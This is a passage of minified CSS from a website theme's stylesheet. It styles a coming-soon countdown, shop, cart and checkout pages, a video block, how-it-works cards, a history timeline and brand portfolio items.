all 500ms ease; } .coming-soon__form input[type="text"]:focus, .coming-soon__form input[type="email"]:focus { -webkit-box-shadow: 0 0 0 1px var(--thm-base); box-shadow: 0 0 0 1px var(--thm-base); } .coming-soon__form ::-webkit-input-placeholder { opacity: 1; color: inherit; } .coming-soon__form :-ms-input-placeholder { opacity: 1; color: inherit; } .coming-soon__form ::-ms-input-placeholder { opacity: 1; color: inherit; } .coming-soon__form ::placeholder { opacity: 1; color: inherit; } .coming-soon__form button[type="submit"] { width: 42px; height: 42px; background-color: var(--thm-base); color: var(--thm-black); font-size: 14px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; position: absolute; top: 50%; -webkit-transform: translateY(-50%); transform: translateY(-50%); right: 15px; border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .coming-soon__form button[type="submit"]:hover { background-color: #fff; color: var(--thm-black); } .coming-soon__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .coming-soon__social li + li { margin-left: 10px; } .coming-soon__social a { width: 44px; height: 44px; background-color: #1c1e22; color: #999b9f; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; border-radius: 50%; font-size: 16px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .coming-soon__social a:hover { background-color: var(--thm-base); color: var(--thm-black); } .coming-soon__countdown { display: -ms-grid; display: grid; -ms-grid-columns: (1fr)[2]; grid-template-columns: repeat(2, 1fr); grid-gap: 20px; width: 100%; max-width: 580px; margin-top: 30px; margin-bottom: 35px; } @media (min-width: 992px) { .coming-soon__countdown { margin-top: 50px; margin-bottom: 45px; -ms-grid-columns: (1fr)[4]; grid-template-columns: repeat(4, 1fr); } } .coming-soon__countdown li { border: 1px solid var(--thm-base); border-radius: 8px; text-align: center; font-family: var(--thm-font); overflow: hidden; } .coming-soon__countdown li span { font-size: 45px; display: block; color: #fff; padding-top: 50px; } @media (min-width: 992px) { .coming-soon__countdown li span { font-size: 60px; } } .coming-soon__countdown li i { text-transform: uppercase; color: var(--thm-black); background-color: var(--thm-base); display: block; font-size: 20px; font-style: normal; line-height: 40px; display: block; padding-top: 5px; margin-top: 45px; } /*-------------------------------------------------------------- # Shop --------------------------------------------------------------*/ .shop-page { padding-top: 100px; padding-bottom: 85px; } @media (max-width: 992px) { .shop-page { padding-top: 120px; padding-bottom: 105px; } } .product-sorting { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; margin-bottom: 30px; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-pack: start; -ms-flex-pack: start; justify-content: flex-start; -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; } @media (min-width: 768px) { .product-sorting { -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } } .product-sorting p { margin: 0; color: var(--thm-text); font-size: 18px; margin-bottom: 20px; } @media (min-width: 768px) { .product-sorting p { margin-bottom: 0; } } .product-sorting .form-group { max-width: 340px; width: 100%; } .product-card { margin-bottom: 30px; } .product-card__buttons { position: absolute; bottom: 30px; left: 0; width: 100%; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; opacity: 0; visibility: hidden; -webkit-transform: translateY(-30%); transform: translateY(-30%); -webkit-transition: 500ms ease; transition: 500ms ease; } .product-card:hover .product-card__buttons { opacity: 1; visibility: visible; -webkit-transform: translateY(0); transform: translateY(0); } .product-card__buttons .btn-style-one { margin-right: 10px; } .product-card__buttons .btn-style-two:hover .btn-curve { width: 101%; } .product-card__buttons .theme-btn .btn-title { padding: 7px 21px 3px; font-size: 16px; } .product-card__image { position: relative; overflow: hidden; border-radius: 8px; } .product-card__image > img { width: 100%; } .product-card__content { text-align: center; } .product-card__title { margin: 0; color: var(--thm-black); font-size: 24px; font-weight: 400; text-transform: uppercase; margin-top: 25px; margin-bottom: 5px; } .product-card__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .product-card__title a:hover { color: var(--thm-base); } .product-card__price { color: var(--thm-text); font-size: 16px; line-height: 1; margin: 0; margin-bottom: 10px; } .product-card__stars { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; line-height: 1; } .product-card__stars i { font-size: 14px; color: var(--thm-base); } .product-card__stars i + i { margin-left: 5px; } .load-more-products { margin-top: 30px; } /* shop sidebar */ .shop-search form { border-radius: 8px; position: relative; background-color: var(--thm-base); } .shop-search button[type="submit"] { position: absolute; top: 50%; right: 30px; -webkit-transform: translateY(-50%); transform: translateY(-50%); color: var(--thm-black); background-color: transparent; padding: 0; width: auto; height: auto; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .shop-search form input[type="search"], .shop-search form input[type="text"] { width: 100%; height: 70px; background-color: var(--thm-base); border-radius: 8px; padding-left: 30px; padding-right: 30px; font-size: 14px; color: var(--thm-black); font-family: var(--thm-b-font); } .shop-search form ::-webkit-input-placeholder { color: inherit; opacity: 1; } .shop-search form :-ms-input-placeholder { color: inherit; opacity: 1; } .shop-search form ::-ms-input-placeholder { color: inherit; opacity: 1; } .shop-search form ::placeholder { color: inherit; opacity: 1; } .shop-sidebar__title { margin: 0; color: var(--thm-black); text-transform: uppercase; font-size: 24px; font-weight: 400; margin-bottom: 25px; } .product-sidebar__price-range .noUi-horizontal { height: 4px; background-color: #f4f5f8; border: none; -webkit-box-shadow: none; box-shadow: none; } .product-sidebar__price-range .noUi-handle { border-radius: 50%; width: 14px; height: 14px; background-color: var(--thm-base); border: none; outline: none; -webkit-box-shadow: none; box-shadow: none; } .product-sidebar__price-range .noUi-horizontal .noUi-handle { right: -8px; } .product-sidebar__price-range .noUi-handle::before, .product-sidebar__price-range .noUi-handle::after { display: none; } .product-sidebar__price-range .noUi-connect { background-color: var(--thm-base); } .product-sidebar__price-range .form-group { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; margin-bottom: 0; margin-top: 20px; } .product-sidebar__price-range .form-group p { margin: 0; } .product-sidebar__price-range .form-group .left > span { margin-left: 5px; margin-right: 5px; } .product-sidebar__price-range .form-group .left { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .product-sidebar__price-range .theme-btn .btn-title { padding: 7px 21px 3px; font-size: 16px; } .shop-category ul { position: relative; margin-top: -15px; } .shop-category ul li { position: relative; line-height: 30px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); margin-bottom: 15px; } .shop-category ul li:last-child { margin-bottom: 0; } .shop-category ul li a { position: relative; display: block; line-height: 30px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); font-weight: 400; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; z-index: 1; } .shop-category ul li:hover a, .shop-category ul li.active a { color: var(--thm-black); font-weight: 400; text-shadow: 0 0 1px currentColor; } .shop-category ul li a:after { position: absolute; right: 0; top: -1px; font-family: "Flaticon"; content: "\f15f"; opacity: 1; font-size: 10px; line-height: 30px; font-weight: 700; z-index: 1; } .shop-sidebar__single { padding: 30px; border: 1px solid; border-color: #e9ebee; margin-bottom: 30px; border-radius: 8px; } .shop-sidebar__single.shop-search { border: none; padding: 0; } /* review form */ .review-form { padding-bottom: 100px; } @media (min-width: 992px) { .review-form { padding-bottom: 120px; } } .review-form .row { margin-left: -10px; margin-right: -10px; } .review-form [class*="col-"] { padding-left: 10px; padding-right: 10px; } .review-form .form-group { margin-bottom: 20px; } .review-form__title { margin: 0; text-transform: uppercase; font-size: 36px; margin-bottom: 30px; letter-spacing: 0.01em; } .review-form__text { margin: 0; color: var(--thm-text); font-size: 18px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-bottom: 15px; } .review-form__text i { font-size: 14px; color: var(--thm-base); } .review-form__text i:first-child { margin-left: 10px; } .review-form__text i + i { margin-left: 5px; } .review-one .comment-box .reply-btn { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } @media (min-width: 992px) { .review-one .comment-box .reply-btn { position: absolute; top: 0; right: 0; } } @media (min-width: 992px) { .review-one .comment-box .text { margin-bottom: 0; } } .review-one .comment-box .reply-btn i { font-size: 14px; color: var(--thm-base); } .review-one .comment-box .reply-btn i + i { margin-left: 5px; } /* product description */ .product-description { padding-bottom: 40px; } .product-description__title { margin: 0; font-size: 36px; text-transform: uppercase; color: var(--thm-black); letter-spacing: 0.01em; margin-bottom: 30px; } .product-description__text { margin: 0; } .product-description__text + .product-description__text { margin-top: 30px; } /* product details */ .product-details { padding-bottom: 60px; padding-top: 100px; } @media (min-width: 1200px) { .product-details { padding-top: 120px; } } .product-details__buttons { margin-bottom: 35px; margin-top: 15px; } .product-details__buttons .theme-btn { margin-right: 10px; margin-top: 5px; } .product-details__social { margin-bottom: 20px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -ms-flex-wrap: wrap; flex-wrap: wrap; } .product-details__social span { font-size: 24px; color: var(--thm-black); text-transform: uppercase; font-family: var(--thm-font); margin-right: 20px; -webkit-box-flex: 0; -ms-flex: 0 0 100%; flex: 0 0 100%; margin-bottom: 10px; } @media (min-width: 1200px) { .product-details__social span { margin-bottom: 0; -webkit-box-flex: 0; -ms-flex: 0 0 auto; flex: 0 0 auto; } } .product-details__social a { display: -webkit-box; display: -ms-flexbox; display: flex; width: 44px; height: 44px; background-color: #f4f5f8; color: #686a6f; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; font-size: 16px; border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .product-details__social a + a { margin-left: 10px; } .product-details__social a:hover { color: var(--thm-black); background-color: var(--thm-base); } .product-details__quantity { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .product-details__quantity-title { margin: 0; color: var(--thm-black); text-transform: uppercase; font-size: 24px; margin-right: 20px; } .product-details__quantity .quantity-box { position: relative; width: 98px; border-radius: 8px; height: 60px; } .product-details__quantity .quantity-box input { width: 98px; border-radius: 8px; height: 60px; border: 1px solid #e9ebee; -webkit-appearance: textfield; -moz-appearance: textfield; font-family: var(--thm-b-font); padding-left: 30px; } .product-details__quantity .quantity-box button { width: 29px; height: 29px; background-color: transparent; color: var(--thm-black); font-size: 8px; position: absolute; top: 1px; right: 1px; background-color: #fff; border-left: 1px solid #e9ebee; border-top-right-radius: 8px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; } .product-details__quantity .quantity-box button.sub { bottom: 1px; top: auto; border-top: 1px solid #e9ebee; border-top-right-radius: 0px; border-bottom-right-radius: 8px; } .product-details__reveiw { border-bottom: 1px solid #e9ebee; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; padding-bottom: 20px; margin-bottom: 20px; } .product-details__reveiw i { font-size: 18px; color: var(--thm-base); } .product-details__reveiw i + i { margin-left: 5px; } .product-details__reveiw span { line-height: 1; font-size: 16px; color: var(--thm-text); position: relative; top: 2px; margin-left: 10px; } .product-details__title { font-size: 45px; text-transform: uppercase; margin: 0; margin-top: 30px; } @media (min-width: 1200px) { .product-details__title { margin-top: -5px; margin-right: 10px; } } .product-details__price { margin: 0; color: var(--thm-base); font-size: 20px; line-height: 1; margin-bottom: 20px; } @media (min-width: 1200px) { .product-details__top { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: baseline; -ms-flex-align: baseline; align-items: baseline; } } /* cart page */ .cart-page { padding-top: 100px; padding-bottom: 100px; } @media (min-width: 992px) { .cart-page { padding-top: 120px; padding-bottom: 120px; } } .cart-table { margin-bottom: 60px; } @media (max-width: 1199px) { .cart-table { min-width: 1170px; } } .cart-table thead th { text-transform: uppercase; font-family: var(--thm-font); font-size: 30px; color: var(--thm-black); font-weight: 400; padding: 0; border: none; padding-bottom: 20px; } .cart-table thead th:last-child { text-align: right; } .cart-table .quantity-box { position: relative; width: 98px; border-radius: 8px; height: 60px; } .cart-table .quantity-box input { width: 98px; border-radius: 8px; height: 60px; border: 1px solid #e9ebee; -webkit-appearance: textfield; -moz-appearance: textfield; font-family: var(--thm-b-font); padding-left: 30px; } .cart-table .quantity-box button { width: 29px; height: 29px; background-color: transparent; color: var(--thm-black); font-size: 8px; position: absolute; top: 1px; right: 1px; background-color: #fff; border-left: 1px solid #e9ebee; border-top-right-radius: 8px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; } .cart-table .quantity-box button.sub { bottom: 1px; top: auto; border-top: 1px solid #e9ebee; border-top-right-radius: 0px; border-bottom-right-radius: 8px; } .cart-table .product-box { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .cart-table h3 { text-transform: uppercase; margin: 0; color: var(--thm-black); font-size: 24px; margin-left: 30px; } .cart-table h3 a { color: inherit; } .cart-table tbody tr { vertical-align: middle; } .cart-table tbody tr:last-child { border-bottom: 1px solid #e9ebee; } .cart-table tbody td { vertical-align: middle; border-top: 1px solid #e9ebee; padding-top: 30px; padding-bottom: 30px; padding-left: 0; padding-right: 0; font-size: 16px; color: #686a6f; } .cart-table tbody td:last-child { text-align: right; } .cart-cupon__form { margin-bottom: 30px; } .cart-cupon__input { width: 100%; max-width: 370px; border-radius: 8px; background-color: #f4f5f8; padding-left: 30px; padding-right: 30px; margin-right: 10px; font-family: var(--thm-b-font); font-size: 14px; color: #686a6f; height: 65px; margin-bottom: 20px; } .cart-cupon__form ::-webkit-input-placeholder { color: inherit; opacity: 1; } .cart-cupon__form :-ms-input-placeholder { color: inherit; opacity: 1; } .cart-cupon__form ::-ms-input-placeholder { color: inherit; opacity: 1; } .cart-cupon__form ::placeholder { color: inherit; opacity: 1; } .cart-total { margin-bottom: 20px; } .cart-total li { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: end; -ms-flex-pack: end; justify-content: flex-end; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-size: 18px; } .cart-total li + li { margin-top: 10px; } .cart-total li span:first-child { text-transform: uppercase; font-family: var(--thm-font); font-size: 30px; color: var(--thm-black); margin-right: 70px; display: block; width: 133px; text-align: right; } .cart-total li:nth-child(2) span:first-child { position: relative; right: 6px; } .cart-total__total { color: var(--thm-base); font-weight: 500; } .cart-page__buttons { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: end; -ms-flex-pack: end; justify-content: flex-end; -ms-flex-wrap: wrap; flex-wrap: wrap; } .cart-page__buttons .btn-style-one { margin-left: 0px; margin-top: 10px; } @media (min-width: 1200px) { .cart-page__buttons .btn-style-one { margin-top: 0; margin-left: 10px; } } .product-details__buttons .btn-style-two:hover .btn-curve, .cart-page__buttons .btn-style-two:hover .btn-curve { background-color: var(--thm-base); } /* checkout page */ .checkout-page { padding-top: 100px; padding-bottom: 100px; } @media (min-width: 992px) { .checkout-page { padding-top: 120px; padding-bottom: 120px; } } .checkout-page .default-form .row { margin-left: -10px; margin-right: -10px; } .checkout-page .default-form [class*="col-"] { padding-left: 10px; padding-right: 10px; } .checkout-page .default-form .form-group { margin-bottom: 20px; } .checkout-page__returning { margin: 0; font-size: 16px; color: var(--thm-text); line-height: 1.5em; margin-bottom: 15px; } @media (min-width: 768px) { .checkout-page__returning { line-height: 1; } } .checkout-page__returning a { color: var(--thm-base); } .checkout__title { text-transform: uppercase; margin: 0; color: var(--thm-black); font-size: 35px; font-weight: 400; font-family: var(--thm-font); line-height: 1; margin-bottom: 40px; } @media (min-width: 768px) { .checkout__title { font-size: 45px; } } @media (min-width: 1200px) { .checkout__title { font-size: 60px; } } .checkout__checkbox { position: relative; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .checkout__checkbox input[type="checkbox"] { position: absolute; left: -999999px; visibility: hidden; } .checkout__checkbox label { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; cursor: pointer; } .checkout__checkbox label::after { content: ""; width: 19px; height: 19px; background-color: #f4f5f8; border-radius: 50%; margin-left: 20px; font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 10px; color: #fff; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .checkout__checkbox input[type="checkbox"]:checked + label::after { background-color: var(--thm-base); content: "\f00c"; } .checkout-page .default-form .field-checkbox { position: relative; } .checkout-page .default-form .field-checkbox input[type="checkbox"] { position: absolute; left: -999999px; visibility: hidden; } .checkout-page .default-form .field-checkbox label { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-size: 16px; color: var(--thm-text); cursor: pointer; } .checkout-page .default-form .field-checkbox label::before { content: ""; width: 19px; height: 19px; background-color: #f4f5f8; border-radius: 50%; margin-right: 10px; font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 10px; color: #fff; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .checkout-page .default-form .field-checkbox input[type="checkbox"]:checked + label::before { background-color: var(--thm-base); content: "\f00c"; } .checkout-page .default-form textarea { height: 150px; } .checkout-page .default-form { margin-bottom: 60px; } .checkout__table { margin-bottom: 50px; } @media (min-width: 992px) { .checkout__table { margin-bottom: 0; } } .checkout__table thead th { text-transform: uppercase; font-family: var(--thm-font); color: var(--thm-black); font-size: 30px; line-height: 1; font-weight: 400; } .checkout__table th:last-child, .checkout__table td:last-child { text-align: right; } .checkout__table thead { border-top: 1px solid #e9ebee; border-bottom: 1px solid #e9ebee; } .checkout__table thead th, .checkout__table tbody td { padding: 0; /* border-top: 1px solid #e9ebee; */ border: 0; } .checkout__table thead th { padding-top: 30px; padding-bottom: 23px; } .checkout__table tbody { border-bottom: 1px solid #e9ebee; } .checkout__table tbody td { padding-top: 10px; padding-bottom: 10px; color: var(--thm-text); } .checkout__payment { background-color: #f4f5f8; border-radius: 8px; padding: 30px; padding-bottom: 5px; margin-bottom: 20px; } @media (min-width: 992px) { .checkout__payment { padding: 50px; padding-bottom: 25px; } } .checkout__payment__item + .checkout__payment__item { margin-top: 35px; } .checkout__payment__title { margin: 0; text-transform: uppercase; font-size: 24px; color: var(--thm-black); font-weight: 400; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-bottom: 20px; cursor: pointer; } .checkout__payment__title::before { content: ""; width: 19px; height: 19px; background-color: #fff; border: 2px solid #e9ebee; border-radius: 50%; margin-right: 10px; font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 10px; color: #fff; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-right: 15px; position: relative; top: -2px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .checkout__payment__title img { margin-left: 15px; } .checkout__payment__item--active .checkout__payment__title::before { background-color: var(--thm-base); border-color: var(--thm-base); content: "\f00c"; } .checkout__payment__content { font-size: 16px; line-height: 30px; color: #686a6f; } /*-------------------------------------------------------------- # Video Styles --------------------------------------------------------------*/ .video-one { padding-top: 90px; padding-bottom: 75px; } @media (min-width: 992px) { .video-one { padding-top: 120px; padding-bottom: 105px; } } .video-one .video-one__image { position: relative; margin-bottom: 60px; } .video-one .video-one__image img { width: 100%; -webkit-filter: grayscale(100%); filter: grayscale(100%); border-radius: 8px; } .video-one__content { text-align: center; } @media (min-width: 992px) { .video-one__content { text-align: left; } } .video-one__content .sec-title { margin-bottom: 0; } .video-one__content .sec-title h2 { letter-spacing: -0.02em; } @media (min-width: 768px) { .video-one__content .sec-title h2 { max-width: 500px; margin-left: auto; margin-right: auto; } } .video-one__content .block-text { margin: 0; font-family: var(--thm-b-font); font-size: 16px; line-height: 34px; color: var(--thm-text); margin-top: 20px; } @media (min-width: 768px) { .video-one__content .block-text { max-width: 500px; margin-top: 0; margin-left: auto; margin-right: auto; } } .video-one__image .vid-link { background-color: var(--thm-base); border-radius: 50%; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; position: absolute; color: var(--thm-black); -webkit-transition: all 500ms ease; transition: all 500ms ease; width: 70px; height: 70px; bottom: calc(50% - 35px); left: calc(50% - 35px); font-size: 20px; } @media (min-width: 768px) { .video-one__image .vid-link { width: 107px; font-size: 30px; right: 100px; bottom: -53.5px; height: 107px; left: auto; } } .video-one__image .vid-link:hover { background-color: var(--thm-black); color: #ffffff; } .video-one__image .vid-link a { color: inherit; } .video-one__image .vid-link .icon { position: relative; top: 3px; } .video-one__image .vid-link::before { position: absolute; content: ""; border-radius: 50%; border: 1px solid var(--thm-black); top: -13px; bottom: -13px; left: -13px; right: -13px; opacity: 0.2; } .video-one__image .vid-link .ripple, .video-one__image .vid-link .ripple:before, .video-one__image .vid-link .ripple:after { position: absolute; top: 50%; left: 50%; width: 130px; height: 130px; border-radius: 50%; -ms-border-radius: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); -webkit-box-shadow: 0 0 0 0 rgba(255, 170, 23, 0.6); box-shadow: 0 0 0 0 rgba(255, 170, 23, 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .video-one__image .vid-link .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .video-one__image .vid-link .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } /*-------------------------------------------------------------- # How it works Styles --------------------------------------------------------------*/ .how-it-works { background-color: #f6f6f6; padding-top: 90px; padding-bottom: 60px; } @media (min-width: 992px) { .how-it-works { padding-top: 120px; padding-bottom: 90px; } } .how-it-works-card { background-color: #fff; border-radius: 8px; padding: 2px; -webkit-box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.1); box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.1); -webkit-transition: background 500ms ease; transition: background 500ms ease; margin-bottom: 30px; } .how-it-works-card:hover { background-color: var(--thm-base); } .how-it-works-card__inner { border-radius: 8px; background-color: #fff; padding-bottom: 45px; } .how-it-works-card__icon { font-size: 64px; color: var(--thm-base); display: block; line-height: 1; padding-top: 60px; margin-bottom: 30px; } .how-it-works-card__title { margin: 0; color: var(--thm-black); line-height: 1; text-transform: uppercase; font-size: 30px; } .how-it-works-card__title a { color: inherit; } .how-it-works-card__text { margin: 0; font-size: 16px; line-height: 34px; color: var(--thm-text); max-width: 241px; margin-left: auto; margin-right: auto; margin-top: 35px; margin-bottom: 27px; } .how-it-works-card__link { text-transform: uppercase; text-align: center; color: var(--thm-black); font-size: 16px; letter-spacing: 0.1em; font-family: var(--thm-font); display: inline-block; vertical-align: middle; position: relative; } .how-it-works-card__link::before { content: ""; width: 100%; height: 2px; background-color: var(--thm-base); top: 80%; left: 0; display: block; position: absolute; -webkit-transform: scale(0, 1); transform: scale(0, 1); -webkit-transform-origin: left center; transform-origin: left center; -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; } .how-it-works-card__link:hover { color: var(--thm-black); } .how-it-works-card__link:hover::before { -webkit-transform: scale(1, 1); transform: scale(1, 1); -webkit-transform-origin: right center; transform-origin: right center; } /*-------------------------------------------------------------- # History Styles --------------------------------------------------------------*/ .history-timeline { padding-bottom: 40px; padding-top: 90px; } @media (min-width: 1200px) { .history-timeline { padding-top: 0; padding-bottom: 120px; margin-top: -53.5px; } } .history-timeline__year { width: 85px; height: 85px; background-color: var(--thm-base); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; color: var(--thm-black); font-size: 30px; font-family: var(--thm-font); border-radius: 50%; padding-top: 2px; margin-bottom: 0px; position: relative; z-index: 10; } @media (min-width: 992px) { .history-timeline__year { margin-bottom: 0; margin-right: auto; margin-left: auto; } } @media (min-width: 1200px) { .history-timeline__year { width: 107px; height: 107px; font-size: 40px; } } .history-timeline__date { font-size: 20px; color: var(--thm-base); text-transform: uppercase; font-family: var(--thm-font); margin: 0; display: block; line-height: 1; margin-bottom: 10px; position: relative; } @media (min-width: 1200px) { .history-timeline__date::before { content: ""; width: 23px; height: 23px; background-color: var(--thm-base); border-radius: 50%; position: absolute; top: 0; left: -55px; -webkit-transform: translateY(50%) translateX(-50%); transform: translateY(50%) translateX(-50%); z-index: 10; } } .history-timeline__title { margin: 0; text-transform: uppercase; color: var(--thm-black); font-size: 40px; line-height: 1; } .history-timeline__text { margin: 0; color: var(--thm-text); font-size: 16px; line-height: 34px; margin-top: 30px; } .history-timeline__image { background-color: #222429; border-radius: 8px; display: inline-block; margin-top: 30px; } @media (min-width: 1200px) { .history-timeline__image { margin-top: 0; } } .history-timeline__image img { max-width: 100%; border-radius: 8px; mix-blend-mode: luminosity; } .history-timeline__card .row { position: relative; padding-top: 40px; } @media (min-width: 1200px) { .history-timeline__card .row { padding-top: 80px; } } .history-timeline__card .row:last-child { padding-bottom: 0; } @media (min-width: 992px) { .history-timeline__card .row:nth-child(odd) { -webkit-box-orient: horizontal; -webkit-box-direction: reverse; -ms-flex-direction: row-reverse; flex-direction: row-reverse; } } @media (min-width: 992px) { .history-timeline__card { position: relative; } .history-timeline__card:after { content: ""; width: 1px; height: 100%; background-color: #e9ebee; position: absolute; -webkit-transform: translateX(-50%); transform: translateX(-50%); top: 0; left: 50%; } } .history-timeline__card { margin-bottom: 40px; } @media (min-width: 1200px) { .history-timeline__card { padding-bottom: 70px; margin-bottom: 0; } .history-timeline__card:last-child { padding-bottom: 0; } .history-timeline__card .row { margin-left: -55px; margin-right: -55px; } .history-timeline__card .row [class*="col-"] { padding-left: 55px; padding-right: 55px; } .history-timeline__card .row:nth-child(even) .history-timeline__info { text-align: right; } .history-timeline__card .row:nth-child(even) .history-timeline__date::before { left: auto; right: -55px; -webkit-transform: translateY(50%) translateX(50%); transform: translateY(50%) translateX(50%); } .history-timeline__card:nth-child(even) .row:nth-child(even) { -webkit-box-orient: horizontal; -webkit-box-direction: reverse; -ms-flex-direction: row-reverse; flex-direction: row-reverse; } .history-timeline__card:nth-child(even) .row { -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; } .history-timeline__card:nth-child(even) .row:nth-child(odd) .history-timeline__info { text-align: right; } .history-timeline__card:nth-child(even) .row:nth-child(even) .history-timeline__info { text-align: left; } .history-timeline__card:nth-child(even) .row:nth-child(even) .history-timeline__date::before { right: auto; left: -55px; -webkit-transform: translateY(50%) translateX(-50%); transform: translateY(50%) translateX(-50%); } .history-timeline__card:nth-child(even) .row:nth-child(odd) .history-timeline__date::before { right: -55px; left: auto; -webkit-transform: translateY(50%) translateX(50%); transform: translateY(50%) translateX(50%); } } /*-------------------------------------------------------------- # Brand Portfolio Styles --------------------------------------------------------------*/ .brand-portfolio__item { position: relative; background-color: var(--thm-base); text-align: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; padding-top: 80px; padding-bottom: 80px; } @media (min-width: 1200px) { .brand-portfolio__item { padding-top: 170px; padding-bottom: 170px; } } @media (min-width: 992px) { .brand-portfolio__item .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: left; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; -ms-flex-direction: row-reverse; flex-direction: row-reverse; } } .brand-portfolio__item__bg { position: absolute; top: 0; left: 0; bottom: 0; right: 0; background-color: var(--thm-base); background-blend-mode: luminosity; opacity: 0; background-attachment: fixed; background-position: center center; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .brand-portfolio__item:hover .brand-portfolio__item__bg { opacity: 0.1; } .brand-portfolio__title { margin: 0; color: #fff; font-size: 40px; font-weight: 500; line-height: 1; margin-top: 20px; margin-bottom: 10px; } @media (min-width: 992px) { .brand-portfolio__title { margin-top: 0; margin-bottom: 30px; font-size: 60px; } } 